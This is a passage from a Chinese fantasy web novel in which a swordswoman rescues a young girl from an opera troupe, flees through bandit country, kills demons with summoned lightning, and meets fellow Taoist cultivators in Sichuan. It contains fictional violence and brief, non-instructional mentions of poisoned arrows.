班主:“我出四块大洋。” 班主:“反正她在你身边也是拖累,你把她卖了,你们俩都能活。” 傅清微抱起姬湛雪,头也不回地走了。 她没注意到的是,姬湛雪趴在她肩上,看着不断远去的戏楼和班主,默默地把对方的话牢记在了心里。 …… 城南戏楼。 翁班主把刚买的小丫头交给了自己的婆娘,带她去洗洗干净。 洗的过程里,翁班主就在旁边抽着烟袋子,看着一点一点的灰泥下去,他眼尖,这绝对是好苗子,哪怕脸上有一点点瑕疵,都不影响他要把她练成角儿。 脸洗干净了,翁班主的铜烟管都拿不稳,叫了一声好。 这四块银元算是赚大了! 翁班主:“以后你就管我叫爹,管她叫妈,是我救了你,你明白吗?” 姬湛雪一声不吭。 翁班主:“小丫头有点气性,没关系,磨一磨就好了。” 他抽了一口烟,对妇人说:“今天先不给她饭吃,饿她两顿,就知道谁是她再生父母。” 妇人点点头。 翁班主:“跟我过来,看看基本功。” 姬湛雪慢慢地走过去,看了眼大门口的方向,空空荡荡。 翁班主亲自给她压腿,侧腿,下腰,试身体的柔韧度,没经过训练的小孩骨头再软也难做出这些动作,拉筋开胯,不少刚入戏班练童子功的孩子疼得直哭。 翁班主:“第一次总是疼的,别怪爹。” 姬湛雪爹早死了,没什么反应。如果他自称娘就不一样了。 翁班主给她掰完腿,低头看她的神情,连眼圈都没红一下。 翁班主:“好孩子,吃得了苦。” 唯一让他不满意的是姬湛雪不说话,不过她上午急着来找他的时候,确实能开口,以后再慢慢调教吧。 姬湛雪练了一下午基本功,傍晚的时候翁家班吃饭,她在旁边看着,依旧没有表情,连馋的反应都没有。 少班主笑着说:“爹,你这是给我买了个哑巴媳妇儿吗?也太小了吧?” 翁班主敲他脑袋:“就知道想这些,明日你那折戏要是唱不好,看老子打断你的腿!” 少班主侧了侧头:“小哑巴怪好看。” 翁班主:“她要真是哑巴,以后才能当你媳妇儿。” 横竖他不能亏钱。 少班主仍在打量她:“好看是好看,怎么看着木木的。” 翁班主:“吃你的饭!” 少班主刚端起饭碗,说:“咦?好像有人在外面喊什么?雪?” “小雪——” 方才还哑巴木讷的小孩突然拔腿向外面跑去。 后院天井边吃饭的翁家班都惊呆了,这孩子跑得也太快了。 翁班主一撂筷子,说:“追!” 姬湛雪一直跑到大堂,傅清微提着剑的身影出现在门口,仿佛又一次神兵天降。 明明她已经把自己卖了,决心不再拖累她,却还是幻想她能忽然出现把自己带走。 可更像做梦的是,她真的来了。 “小雪!”傅清微果然没找错地方,喜出望外。 两人同时向对方跑去,姬湛雪一个小孩竟然不比大人慢多少,两人在屋子中央紧紧地拥抱在一起。 傅清微蹲下来抱着姬湛雪,看了眼后院涌出来的十几个翁家班的人,旁若无人道:“我一定会带你走。” 姬湛雪在她肩膀无声点了点头。 翁班主抬手示意其他人关上门,断绝她的退路,再走出来道:“这位姑娘做事不厚道吧?收了钱又要把人带走,到官署也是你挨板子坐牢。” “四块大洋是吗?”傅清微从怀里原封不动地拿出来,说,“还你!” “银货两讫,即时生效。这小姑娘已经是翁家班的人,你要买回去得问我愿不愿意。四十块大洋,不二价,出得起就带走,出不起,哼!” 傅清微早料到不能善了,她拿不出多一分钱,也不会多给一分。四块银元往地上一扔,她右手抽出背后的长剑,剑指翁班主,冷道:“那就看看我今天能不能把她带走。” 翁班主把烟管一摔:“都给我抄家伙!” “是!” 他们翁家班一群大老爷们血气方刚,还让一个小娘子把脸往地上踩不成。 十来个手持棍棒的青壮年围住了傅清微。 姬湛雪躲在傅清微身后,傅清微左手摸了摸她的头,温柔地说:“不要怕。” “一起上!” 即使是没有经过系统训练的成人,一通乱棍上来也能打死人,傅清微身后有个小孩避无可避,一剑削去了面前的三根长棍棍首,长棍变中棍,自己的胳膊和肩膀却挨了两棍,闷哼一声。 姬湛雪见状连忙退出包围圈躲在花瓶后面。 傅清微没了顾忌,自然得心应手。人多势众,可师尊教她的武艺和勤学苦练不是假的,一群乌合之众,她长剑在手,无所畏惧。 几人久攻不下,反而己方的棍棒被削断好几节,傅清微一脚踹在棍身上,持棍的人接连倒退几步,被同伴扶住。 翁班主看穿一切:“直接上!她不敢伤人!” 他对着旁边的婆娘低声说:“去把那个小孩抓过来,悄悄的。” 其他人恐长剑锋利,畏手畏脚,听班主这么说一想果然如此,立刻重新凝聚气势扑了上来,一拥而上。 相思剑上细微的白芒一闪,又湮灭下去。 傅清微收回剑身注入的罡气,长剑横扫,几根棍棒从上往下架在剑身,另外几根长棍趁机攻向她的下盘,傅清微手腕一转,剑锋带着转了三百六十度,耀眼的剑光刺痛了对面的双眼。 傅清微趁机踩着刚刚扫过来的棍身向后一个利落的空翻脱身。 童声尖利。 姬湛雪刚刚被班主老婆忽然从背后抱住,她奋力挣扎不开,喉咙里发出尖促的短叫。 “小雪!” 傅清微飞奔上前,伸手从妇人怀里夺回孩子,妇人不从,她只好一剑柄敲在对方手腕。 妇人啊的一声惨叫。 姬湛雪扑进傅清微怀中,却被年轻女人带得一个踉跄向后,傅清微在她耳边发出沉闷的痛吟。 姬湛雪惊恐地看着出现在傅清微背后的长棍,结结实实地砸在了她的背上。 童音沙哑,姬湛雪双手扶起她的脸,沙沙地叫着,都是些不成句的字眼,眼底闪烁着泪光。 傅清微虚弱地说:“别哭。” 姬湛雪回应她的只有嘶哑低鸣。 身后一棍当头落下,正冲着傅清微的后脑勺而去。 姬湛雪喉咙里竟然吐出了两个清晰的字:“不要!!!” 傅清微没有回头,看也不看,反手一剑挥去,长棍应声清脆而断,残存的剑气打在对方身上,衣物层层碎裂,在皮肤上留下一道血痕。 对方后退,摸了摸身上的血,面色骇然,后知后觉地软倒在地。 傅清微牵着姬湛雪站起来,环视着对面十来个人,仿佛一头受伤狂怒的母狮子护着她的幼崽,眼睛通红。 “都别过来!谁再过来,我就杀了谁!” 她的长剑剑尖挨个指过去,带着姬湛雪往大门边退去。 翁班主:“上!” 众人你看看我我看看你,有一个人站出来冲了上去,剑光一闪,长棍落地,他握着右手虎口血流如注。 众人又退后一步。 傅清微喝道:“还有谁敢?!” 翁班主亲手抄过长棍,傅清微将罡气贯注到剑身,一点一点的白芒从相思剑上亮起。 她偏了偏头,注视对方,毫不掩饰冰冷的杀意。 咚的一声,翁班主将长棍扔在了地上。 傅清微拉开门栓,打开朱色大门,嗅见了外面新鲜的空气。 她带着姬湛雪走出来,回到街上,还剑入鞘,说:“跑!” 一大一小两道身影立刻快速奔跑起来。 街上三三两两的摊位都收起来,整条街只有她们两个人,天色已经完全黑下来了,赶在宵禁封路的最后一刻,她们回到了客栈里。 傅清微坐在桌旁,长剑放在手边,口渴得一直在喝水。姬湛雪人小站着,看着傅清微左手手背鲜红的棍痕,头垂得更低了些。 她好像做错事了。 傅清微:“不口渴吗?” 姬湛雪:“渴。” 傅清微把她抱到怀里,给她倒水喝。 姬湛雪坐在她腿上,一小口喝着她喂的水,漆黑的眼珠在她脸上来回转着。 她都不骂她吗? “是不是在想我为什么不责备你?” 点头。 “你该庆幸你是个小哑巴,我一想到骂你你也说不出什么,我就没兴致了。” “……” 傅清微当然是开玩笑,姬湛雪是做错了事不对,但她还是个孩子,心是好的,要好好教导她。 说实话她当时睁眼看到那四块银元,要不是急着去找人,她可能会先哭一场。 傅清微将她放下来,说:“你怎么能把自己卖了呢?” 姬湛雪沉默不语。 傅清微:“别装,你又不是真哑巴。” 姬湛雪:“唉。” 傅清微:“还学会叹气了。” 姬湛雪一个字一个字地蹦:“我、在,你、不、好。” 她边说边摇了摇头。 傅清微有时候挺佩服她凝练字词的功力的,五个字说得她险些潸然泪下。 她还这么小。 傅清微拇指抚着她的脸,说:“那你有没有想过,你不在,我会怎么样?” 姬湛雪:“不、知、道。” 傅清微:“会死。” 姬湛雪脑袋边冒出一个大大的问号。 她有这么重要吗? 傅清微一字一句:“这个世界上没有人能把你和我分开,除非我死了。你离开,对我而言就是提前宣判我的死刑。” 姬湛雪听不懂。 “不要再走了。” 傅清微眼眶微热,温柔地说:“你可以抓住我。” 姬湛雪垂眼,小心翼翼地,捏紧了她一片衣角。 攥得很紧很紧。 连牙关都不自觉地紧紧咬着。 傅清微却将她那只很紧很紧的手松开,拉开她的两条瘦小胳膊,环在了自己腰上。 “这样,才叫抓住。” 姬湛雪吃力地环住年轻女人的腰肢,脸因为这个动作埋在傅清微的胸口,整个人都紧紧依偎着她。 傅清微说:“抓住了吗?” 姬湛雪点点头,好喜欢她怀里的感觉。 她想快点长大,能够真正抱着她,她能等到长大那一天吗? 会有的。 傅清微:“还想走吗?” 姬湛雪摇头。 傅清微:“我们约定好了,记住你说的话,你再一言不发地跑掉,我就找棵树吊死,省得去找。” 姬湛雪惊恐地摇头。 傅清微后背和胳膊的棍伤痛起来,她松开了紧紧抱着女孩的怀抱,脸色勉强地重新坐好,说:“饿不饿?我去给你叫个饭。” “饿。” 姬湛雪多说了一个字:“疼。” “我不疼。” “我、疼。” “……”傅清微反应过来,追问道,“他们打你了?” “没。”姬湛雪歪了歪脑袋,不知道怎么说,她干脆解开自己的裤腰。 “你别脱裤子啊!” “?” “没事你脱吧。”傅清微给她擦了好多次澡了,现在还没习惯,缓了缓说。 姬湛雪的腿现在是她全身最白最细嫩的地方,所以大腿上的青紫色指印越发显眼。 傅清微瞬间联想到了最坏的可能,眼眶湿润,心口急剧起伏。 她刚刚就应该直接杀了那个班主! 姬湛雪在床上给她表演了刚学的一字马。 “疼。”她把腿收起来,腿肚子瑟瑟发抖。 “……” 傅清微又哭又笑地抱住她,庆幸她没有遇到更糟的事。以防万一,她还是给她仔细检查了一遍,关键部位没有被侵犯的痕迹,其他地方也没有外伤。 应该只是给她练了戏班子的基本功。 傅清微:“行了,把裤子穿上。” 小孩坦荡荡穿好裤子,坦荡荡来扒她衣服。 傅清微:“你干什么?” 她站直了姬湛雪就没有任何以下犯上的余地,姬湛雪熟练蹦字:“你脱。” 连顿号都没了。 傅清微:“为什么要我脱?” 姬湛雪习惯用行动代替语言,又把自己的上衣脱了,让她看自己嫩莲藕似的雪白后背。 傅清微福至心灵:“你要看我背上的伤?” 姬湛雪点头,吐了口气,似乎为她终于明白而欣慰。 傅清微理直气壮:“我是大人,小孩子不可以随便看大人身体。” 姬湛雪不满地吐泡泡。 难道她是小孩子就可以随便看了吗? 只许大人放火,不许小孩点灯! 傅清微不理会她的不满,说:“我让厨房送两张饼来,吃完了睡觉。” 姬湛雪在床上慢慢地打了一个滚。 不知为何,傅清微感觉她比先前活泼了一些。 也许终于对她敞开心扉了。 晚上睡觉傅清微后背和胳膊疼,只能侧躺着,姬湛雪像只树袋熊一样挂在她身上,一旦中途醒了发现自己掉下去,便重新挂上来。 傅清微后面疼前面热的,昏昏沉沉地陷入了梦乡。 * 卯时。 东城门刚打开,守城的军警打着哈欠换上岗位。 一名灰头土脸的寡妇抱着怀里的孩子急匆匆地奔关卡而来,便要强冲过去。 军警掏出警棍:“喂。” 寡妇冲到他跟前扑通跪了下来,露出怀中四岁女童发烧通红的脸,哀求道:“军爷行行好,我的孩子生病了,急着出城求医。” 军警:“过关文书呢?” 年青寡妇涕泗横流,反复说着一句话:“行行好军爷,孩子不行了,行行好吧军爷。” 她边说边解开孩子的衣服,翻到背面,拉下上衣,后背生的疮已经烂了流脓,都浸在衣服上。 军警立刻捏住了鼻子,忙不迭后退:“这是什么?!” 寡妇哭着说:“痘娘娘,是痘娘娘发怒了。” 旁边的军警色变,挥舞警棍驱赶:“快走快走!” “谢谢军爷!” 寡妇连衣服都来不及给小孩穿好,粗粗一裹,拖着行李和孩子出了城,奔向旷野。 过了片刻。 先前那军警忽然眉头一皱,道:“不对。” 视野里哪还有寡妇的影踪。 这清早出城的寡妇和女童正是傅清微和姬湛雪。 傅清微担心翁班主报警,他又知道客栈住址,会有军警来抓她,宜早不宜迟,干脆冒险一大早出城。 没有文书,可以想别的方法,只要放下现代人办事守规矩的思想,办法总比困难多。她用苦楝子汁让姬湛雪暂时发烧,用草汁在她背上画疮,如果仍然被拦下来怎么办?或者当作闯关抓起来处死怎么办?那就一起死。 她们两个人一条命,连生死都置之度外了,还有什么好怕的? 值得一提的是,傅清微的演技在历经磨难后得到了质的提升,眼泪说来就来,演得她自己都要相信她女儿病危了。 病危的女儿退了烧,正趴在她的背上看风景。 虽然依旧一无所有,但她们重获了自由。 傅清微被捏了一下耳朵。 她佯怒:“大胆。” 姬湛雪两只手搂住她的脖子,傅清微感觉她的气轻轻地吹在自己耳边。 一会儿远,一会儿近。 不知道在捣鼓什么。 傅清微背累了,放她下来走路,牵着她的手问她:“你要回依布村吗?我可以送你回家。或者你继续跟着我,我们去蓬莱。” 这一路太险恶了,一座城已如此艰难,傅清微想再给她一次选择的机会。 姬湛雪毫不犹豫地选了第二条路。 “盆、乃。” “是蓬莱。” “蓬、莱。” “真聪明。”傅清微夸她已成了习惯,谁能对这么乖的小孩不另眼相待。 “家?”姬湛雪指了指她,意思是你的家? “对。” “我、们、的、家?蓬莱?” 傅清微没想到她还记得她上次说的话,甚至连了起来,她眼眶骤然一热,说:“是。我们的家,蓬莱观。” 姬湛雪点了点头:“好。” 她人虽小,主意一点不小,都敢悄无声息把自己卖了。傅清微不知道她“好”字背后又意味着什么。 两人从城郊走入了熟悉的山林。 见到一条河停下来休息,吃了干粮,傅清微给她脱了衣服,洗去后背的草汁,换上干净的新衣服。 姬湛雪很久没有见到河了,洗完后就在河边玩水泡脚,踢踢踏踏地溅水花。 傅清微靠坐在树下,由着她玩,目光盯着她,以防她掉进水里。 姬湛雪玩够了,向她走回来。 她直接爬到她身上,两手抱住她的腰,脸贴着她的胸口,亲密得不得了,像家里那只小三花一样粘人。 傅清微失笑,不自觉地开始夹:“这是谁家的小猫咪这么可爱呀?” 姬湛雪亲了亲她的脸。 “你的。” 第142章 姬湛雪软软的唇印在她的脸颊。 没有停留太久。 傅清微怔了下, 睁开快要合上的眼,抬手摸了摸自己的脸。 她从小到大还是第一次被小孩亲脸呢,唇瓣像棉花糖, 一股奶香。 怀里的小孩也是一身奶味, 洗完澡清清爽爽, 趴在她身上,因为亲她的时候抬起了身子, 所以现在搂的是脖子, 脸枕在她肩膀。 傅清微带娃的体验感更深刻了。 比起大人有条件的爱,小孩的爱才是最无私的。 要不是姬湛雪这张脸, 傅清微不可能对她有那么多耐心和温柔, 更别说同生共死。而姬湛雪连她是谁都不知道,就已经对她彻底死心塌地了。 至于那句“你的”,姬湛雪才四岁, 傅清微当然不会有被撩到的感觉。 要是换成穆若水说, 她已经在宽衣解带羊入虎口了。 她只好奇她什么时候偷偷练习的这两个字,说得这么清晰流利。 姬湛雪抬起眼悄悄观察她。 大姐姐不喜欢吗? 傅清微拍着她的后背哄她午睡,微微仰起头放空了目光, 又在想远方的故人。 她根本没注意到姬湛雪求表扬的视线,小孩蔫蔫地垂下脑袋,靠在她肩头慢慢睡去。 傅清微在城里获取了一些信息,尤其是难民中, 对附近战况比较了解,有效帮她规避战区。 这个时代平民拿不到地图, 民间非法流通的地图也不够精准, 傅清微只能确定一个大概方向,带着姬湛雪就上路了, 边走边问人,见机行事。 官道和山路穿插着走,遇城池便绕行过关卡,哪怕多费些时间。 她有一身打猎的功夫,也有武艺傍身,耳聪目明能避开土匪,虽然颠沛流离,吃得不好,但至少不会再饿肚子了。 休息的时候傅清微砍了树枝,用剑磨成细针一样的暗器,装在衣袖里,以备不时之需。以她的修为,拈花飞叶暂时不能伤人,但木针绝对可以,冲着要害去甚至能杀人。 依布村擅长弓弩,先前土匪攻来前备战,傅清微跟着做过,她做了一把简易的弩,配合弩箭,学巫祝榨草乌汁浸泡箭头,见血封喉。 这世道人杀我,为了自保她不可能永远不杀人。 她还有个孩子。 经历了上次城池的事,她彻底认清了,放下现代人的操守,适应这混乱失序的乱世才能带着姬湛雪活下去。 姬湛雪帮她一起用石头磨兽骨箭头,小小年纪已经是熟练工。 有一天傅清微把她叫过去,往她手腕绑了个精巧的箭筒。 姬湛雪摸着自己冰凉凉的手腕,偏头问:“什?” 傅清微捉住她的手,对准了前方的树干,按了一下,一根尖端锋利的竹箭离弦般弹射出去,笃的钉在了树干上。 傅清微把竹箭拔出来,看了看切口深度,虽然杀伤力不强,但是近距离被射中够喝一壶的,如果刚好射中眼睛,那就是杀人利器。 “这是袖箭,如果你落单了,姐姐来不及救你,别人来抓你的时候你就按下这个机括。” 她把竹箭重新装进去,让姬湛雪对着树练习。 除此之外,她开始教姬湛雪一些简单的防身术,小孩子身量小,力气小,以灵活躲避为主,骨头软如果利用得好,那才叫滑不留手。 傅清微教完后和她对练,发现她天赋惊人,身法教一遍就会,只需要纠正动作,和她当时学步法差不多。 不过师尊不通阵法,傅清微都是自己慢慢摸索的。 前面有片灌木轻轻动了一下。 傅清微停下脚步,顺便拉住了埋头往前走的姬湛雪。 傅清微和她交换了一个眼神,口型道:有人。 姬湛雪看不懂,她才刚学会说话呀。 傅清微目力超群,弯下腰捡了个土块扔过去,耳朵侧着动了动。 三个。 傅清微牵着姬湛雪走了过去。 劫道的三人立刻跳了出来,衣衫褴褛,三个人凑不出一件完整衣服,都是流民,但却选择了挥刀向更弱者。 “大哥!是个女的!” 其中一人双手拿着砍柴刀,另外两人手无寸铁凶神恶煞。 拿刀的喝道:“把东西放下,人走!” 另有一人却见色起意地舔了舔唇,道:“三哥,咱们几个自从婆娘死了,好久没碰过女人了,不如……” 说时迟那时快,姬湛雪抬起胳膊,袖箭率先出膛,冲着说话那人的眼睛飞了过去。 正中靶心。 男人惨叫声响彻山林,双手捂着不停流血的眼睛在地上打滚。 “三哥!好痛!三哥救我——” 这一下兔起鹘落,不仅是土匪那边,连傅清微也惊呆了。 姬湛雪情根不全,七情六欲寡淡,对一切的态度都很漠视,说动手就动手。 握刀的三哥双手紧了紧,低头看了看受伤的同伴,另一人却冲了上来,傅清微背后长剑出鞘,胳膊上顿时鲜血直流。 三哥把柴刀慢慢放下,说:“饶命。” 他和胳膊受伤的同伴扶起地上的那个深一脚浅一脚地走了。 姬湛雪这才将袖箭筒放下,用袖子遮好,重新牵住傅清微的手。 傅清微看她晶莹精致的小脸,指背贴上去蹭了蹭,心情复杂。 两人在太阳下山前歇在山洞,傅清微捡了柴枝生火,烤着竹鼠肉,偏头温柔地问她:“为什么出手伤人?” 姬湛雪:“他想、欺负、你。” 傅清微开始觉得教育孩子是个难题。 “可是他打不过我不是吗?你不应该这么着急伤人,还冲着眼睛去。万一对方有后招,你吃亏了怎么办?” 姬湛雪听不懂,她只关心一件事。 “你会、不、喜欢、我吗?” “当然不会了。”傅清微用哄孩子的语气说,“我永远不会不喜欢你。” 姬湛雪向她爬过去一点,脸贴在她的膝头,凝视的瞳仁映着燃烧的火光。 傅清微摸着她分外柔软的发丝说:“小孩子只要负责长大就好了,其他的事交给大人。我会陪你长大,慢慢来,嗯?” 姬湛雪点了点头。 “肉烤好了,吃饭吧。” “你这是什么表情?我烤得比上次好多了!” “有的吃就不错了,不要挑三拣四。小孩子挑食会长不高。” “行行行,下次你来烤。” 姬湛雪表示赞同,傅清微却不忍心压榨儿童。 她才四岁! 哦,认识她快一年了,她也快五岁了。 二人有时候会途遇被土匪抢劫过的尸体,横七竖八地躺在地上,旁边还有马车车厢,一看生前就是富人。傅清微给人合上眼睛以后,已经能面不改色地摸尸体,姬湛雪在边上翻有没有土匪不要的破烂捡回去。 傅清微心灵手巧,对捡回来的破烂废物利用,做了不少实用工具。 她们也遇到过一次土匪,是和一帮难民队伍在一起的时候,有一伙贼寇劫道抢人,流民里没什么值钱的东西,他们专劫妇孺。 傅清微积攒的弩箭耗空了,单枪匹马,带着姬湛雪边打边退,剑锋划过喉咙也就那么一下,血溅在脸上很热。傅清微最后连眼珠都杀红了,每一剑都带出喷溅的血光。 直到身后再也没有追兵的身影。 姬湛雪和她躲在隐蔽的林子里,抱着满身鲜血不停发抖的年轻女人。 傅清微的颤抖慢慢停下来,拉开距离看了看姬湛雪的脸。 “你有没有受伤?”她双手捧着女孩的脸,声音都在轻颤。 姬湛雪摇头。 傅清微又仔细看了看,像是护着什么珍宝,紧紧地将她抱进了怀里。 傅清微找到水源把一身血衣脱下来扔了,换了新衣服,包扎好手臂的伤口。幸好她是个半吊子大夫,就算当夜有点感染发烧,她也能冷静指挥姬湛雪给她熬药,喝了再睡过去,等身体机能自愈。 第一个转机是在某天夜里。 傅清微听见了骡马的嘶鸣,零星的枪声,她被枪声惊醒,本来想带着姬湛雪转移,却嗅见了不同寻常的气息。 她不知道自己从什么时候开始能闻出魔气,似乎是单独杀了蜘蛛精以后。 是妖魔。 妖魔袭击了货物运输的商队。 那支商队傅清微白天探查的时候撞见了,就驻扎在不远处。 傅清微蹲下身子,对刚醒的姬湛雪说:“你在这……算了,你跟我一起。” 姬湛雪一个骨碌爬起来,蹿到她背上,行云流水。 傅清微拎着剑出山洞,道:“知道去做什么吗?你就这么兴奋。” 姬湛雪:“闪闪。” 傅清微乍一听没听懂,没时间去细思了,背着她在山间飞快地腾跃往下。 按理说傅清微自身难保,不该再去多管闲事,但涉及妖魔非比寻常,她不可能袖手旁观。 而且…… 此时的商队。 “那是什么东西?!” “开枪!开枪!”护卫队长指挥道。 一支一支汉阳造步枪排成横队,子弹高速旋转着进入一团黑雾里,这只妖怪像傅清微考试时遇到的黑鱼精,已经有了人形,身材高大,但保留了原形的特征,是一只虎妖。 商队的主人早已躲在焦躁不安的骡马身后,充满恐惧地看着这一幕。 虎妖有黑雾护体,子弹只能将它暂时击退,停顿身形,接着子弹便像记忆海绵从体表弹出来,叮叮当当地清脆落在地上。 “怪、怪物——” “救命!救命啊!” “继续开枪!!!”护卫队长一把夺过枪杆,砰砰砰连发数枪,黄铜弹壳接二连三落下,虎妖毫发无损,它偏了偏脑袋的黑雾,露出斑斓大虎的外表,四足着地一跃而起,虎啸扑进了前方的护卫队中。 “是老虎——老虎吃人了——” “不要不要不要!不——” 虎妖一掌将人类按在身下,咬碎了他的咽喉,鲜血狂飙。对方吭都没吭一声,大睁着眼睛死去,喉咙的血漫了一地。 护卫队长取过长刀扑到老虎背上,一刀刺入老虎的后背,不禁一喜,却拔不出来了。 黑雾裹住长刀,老虎暴起,长刀脱手,护卫队长被甩了出去,重重地砸在树干上,喷出一股鲜血。 虎妖直立,抽出了身后的长刀,朝地上的护卫队长掷了出去。 护卫队长瞳孔缩成针尖大的一点。 寒芒在黑夜里如同一道电光,击中了半空中的长刀,偏离护卫队长的头颅,插在了不远处的地面。 一道身影快得在护卫队长眼中出现了残影,他只看得见耀眼的剑光,跟随着主人的身影腾身而起,一剑插入了老虎的喉咙,接着手腕带动剑光旋转了三百六十度。 如果不是虎妖强悍,当即被斩首示众。 一击脱离,绝不恋战。 虎啸惊天动地,老虎高高跃起身子扑了过去,那人向前一个翻滚,长剑向上刺入,身体向后,从胸腹拉开长长的裂口,内脏和肠子流了一地。 虎妖从半空摔落,黑雾在它的身上缠绕,修复着它致命的伤口。 手持长剑的女人二指捏着一张符箓,口中念念有词。 符文无火自燃,化作一道流光迅速隐入天际,漆黑的天幕缓缓张开一道光亮,仿佛开启了天门接收人间传来的讯息。 护卫队长仰头惊讶地看着天上不可思议的一幕。 沉闷的雷声同时在头顶响了起来,一声连着一声,乌云里的电光若隐若现。 紧接着一道惊雷骤然劈下! 轰—— 云层里的电光刺得人睁不开眼。 雷声就在耳边炸开,护卫队长抱着脑袋闭上眼,紧紧地捂住了自己的耳朵。 连地面都跟着震动起来。 旁边林子里栖息的鸟雀都飞了起来,远离天雷恐怖的威压。 白光消散。 虎妖的尸体躺在地上,满是焦痕。 傅清微牵着姬湛雪的身影出现在白光后。 身前跪了一地狂热的人。 “是神仙,仙女娘娘显灵了。” “仙女娘娘来救我们了。” 亲眼目睹神迹的护卫队长挣扎着爬过来,也跪在地上,满脸虔诚:“拜见仙女娘娘。” 傅清微:“……” 她其实是想救了他们以后,问问能不能搭个顺风车。这个商队有枪,肯定不是普通的队伍。 傅清微顿了顿,说:“吾乃九天玄女娘娘座下弟子,特来人间游历,这位是我的仙童。” 她在蓬莱观每天都去拜玄女娘娘,给她念经上香,怎么不算座下弟子呢? 仙童一脸漠然。 姬湛雪睡前洗了脸,粉雕玉琢的一张俏脸,仙童本童。 商队主人带头感激磕头:“拜见仙女娘娘,见过仙童。” “拜见仙女娘娘——” 眼看着没完没了,傅清微打断他们,端着电视剧里观音娘娘的腔调,说:“你们去往何处?” 商队主人说:“禀仙女娘娘,我们此行乃运输货物入蜀。” 傅清微压下喜色,叹气道:“吾闻蜀地百姓水深火热,正要去往蜀地,见众生疾苦,施以援手。” 商队主人立即道:“请仙女娘娘与我等同行!” 众人拜首复读。 “请仙女娘娘与我等同行!” 傅清微就这么混入了商队里,这支商队是马帮,如果傅清微了解一点更详细的历史,就会知道马帮被称作“乱世中的移动堡垒”,有人有枪,势大根深。 有马帮庇佑,可以规避百分之九十的风险。 晚上她和驻扎的商队住在一起,人人见她都面色恭敬,傅清微不由在心里感叹了一句真封建迷信啊。 姬湛雪躺在她的怀里,小声说:“闪闪。” 傅清微问:“闪电吗?” 姬湛雪点了点头。 傅清微说:“你喜欢闪电?” 姬湛雪点头,又摇头。 她喜欢傅清微引来闪电的样子,不是喜欢闪电本身。 傅清微哪知道她那么多小心思,摸了摸她的额头说:“睡觉吧,明天可以不用抹脸了,小仙童。” 小仙童迅速把脸埋进她胸口睡了。 以前还会枕一枕肩膀,现在会挑地方了,专往软的地方蹭。 小鬼灵精。 傅清微有一搭没一搭地拍着她的后背,也睡了过去。 傅清微过上了流亡路上最安定的一段日子,七点出发,三点休息,食住行都有了保障。商队进城休整,傅清微还让人去买了朱砂黄纸毛笔,她补充了一些消耗过大的符箓。 雷符好用又唬人,她画了一沓。 剩下的就是火符、宁心符等常用符箓。 平安符也画了一些,当场送给了商队的人,又换了一轮感恩戴德。 马帮平时也会遇到小伤小病,傅清微将祝由术包装成神仙法术,再次展现了神迹。 坑蒙拐骗,得心应手。 商队一路由滇入蜀,有惊无险。到了不得不分开的时候,傅清微牵着姬湛雪云淡风轻,商队主人领着大家拜了又拜,看着她们俩消失在视野深处,久久不能回神。 待回到滇省,路遇神仙足够他们吹上一辈子。 傅清微走了很远很远,才叹了一口长气。 光拜有什么用!倒是给几个银元当盘缠啊!神仙就不用吃饭吗?! 出走半年,归来还是响叮当。 傅清微看着陌生的景象,站在百年前的土地上,好在离家不远了。 然而傅清微料不到的是,滇省的政局相对稳定,蜀地才是乱成一锅粥,战区比隔壁省多的多。 岁已寒曾说,军阀割据挑起内战,哀鸿遍野,使得魔气加快诞生。傅清微入蜀后有了直接的感知,妖魔出现的频率增加了。 她在滇省一年多,才遇到了两次妖魔。 刚刚踏上蜀地,没过几天便遇到被魔气侵蚀的狼妖,正在侵犯一个村落。 傅清微来得及时,尚没有大肆破坏。 姬湛雪见到妖魔并不害怕,只是一味地想要看“闪闪”。 傅清微:“……” 傅清微给她表演了一个闪闪,引天雷劈了狼妖。 她如今引雷愈发轻松,雷无虚发,也几乎不感到疲惫。 电光闪闪,姬湛雪的眼睛也闪闪。 傅清微蹲下来,半搂住她的身子,和她一起看着白光中狼妖的身影湮灭,慢慢消散。 村里百姓自然又是一番跪拜。 傅清微解释不来,干脆懒得解释了,吃了一顿挽留饭,宿在村里,顺便重新整顿了行囊。 第二天带着充足的食物上路。 傅清微一路除妖补给,有过险境环生,但都平安化解,玄女娘娘座下弟子的名号算是阴差阳错地传了出去。 她们的步伐渐渐地来到了蜀中。 直到有一天。 傅清微刚轻车熟路地劈了一只螳螂妖,带着姬湛雪往西北方走,隐隐约约听到背后有人在叫她。 “道友!道友!” “道友请留步——” 傅清微停下脚步,和姬湛雪互视一眼,在原地等待。不一会儿,两道身影一前一后地赶过来,身穿道袍,一男一女,边跑边招手。 “道友……”年轻乾道喘着气,说,“你、你跑得好快。” 傅清微:“?” 另一位坤道说:“我二人听闻附近有一位玄女娘娘座下弟子在斩妖除魔,修为精深,动作迅速,神龙见首不见尾,终于找到你了!” 傅清微:“……” 这里面说的是她吗? 同为玄门中人,当然不会信什么玄女娘娘弟子,百姓愚昧,修者方明白世间真相。 两人对着傅清微抱拳行礼。 坤道自我介绍说:“我姓管,叫管锥。这位是我师弟,方乾。敢问道友怎么称呼?” 傅清微:“我……我姓姬,姬昌的姬,女字旁。” 姬湛雪仰了仰头看她,目光闪动。 管锥道:“福生无量,原来是姬道友,道友法术高深,我等自愧不如。” 傅清微已经在惭愧了。 她坑蒙拐骗这么久,已经初步摆脱社恐属性,主动开口套取信息:“二位道友为何出现在这里?” 管锥咦了一声,说:“你难道不是天机阁的?” 天机……阁? 傅清微不动声色:“一介散修。久闻天机阁大名,无缘得入。” 管锥笑道:“你本事那么高,肯定可以通过考试的啦。” 傅清微听到考试,已经猜到天机阁是什么了,十有八九是灵管局的前身。 不知为何,她竟然有一种久违的亲切感,在这个举目无亲的乱世,依然有灵管局的存在。 方乾在旁边插话:“你居然没有加入天机阁,那你杀这么多妖魔,一定拿到很多赏钱了吧。” 傅清微:“???” 什么赏钱?! 傅清微从容镇定的表情终于出现了一丝裂缝。 她震惊得太明显了,管锥慢慢地收起了笑容,说:“姬道友,你该不会不知道吧?” 傅清微快昏倒了。 管锥连忙扶了她一把,姬湛雪两只手都撑着傅清微摇摇欲坠的身子。 “姐姐?”姬湛雪担忧地看向她。 傅清微低头揉了揉姬湛雪的脑袋,说:“乖,姐姐没事。” 管锥瞧了姬湛雪一眼,两眼放光:“小朋友好可爱,是姬道友的妹妹吗?” 姬湛雪一脸漠视,板着脸更可爱了。 傅清微弯了弯眼睛,说:“是。是我的珍宝。” 珍宝抱住了傅清微的腰,很粘人,也不想让别人看自己。 傅清微纵容地将身子侧了侧,更好地掩护姬湛雪的身形,对二人道:“两位道友可有落脚处,我想问问天机阁的事。” 管锥道:“那是自然,姬道友请。” 